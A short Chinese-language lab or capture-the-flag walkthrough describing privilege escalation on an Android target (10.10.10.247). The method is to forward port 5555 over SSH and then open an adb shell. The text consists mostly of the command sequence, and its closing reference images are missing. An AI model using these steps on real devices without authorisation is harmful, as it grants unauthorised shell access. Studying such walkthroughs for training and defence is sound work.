使用端口转发+安卓adb进行提权

kali中的下载命令如下：
apt-get install android-tools-adb
接下来尝试从 ssh 端口转发，并在端口 5555 上使用连接ssh时的登录密码
命令如下：
ssh -L 5555:localhost:5555 kristi@10.10.10.247 -p 2222
然后使用adb连接5555端口，命令如下：
adb connect 127.0.0.1:5555
最后使用shell：
adb -s 127.0.0.1:5555 shell
至此，提权完成
参考图片如下：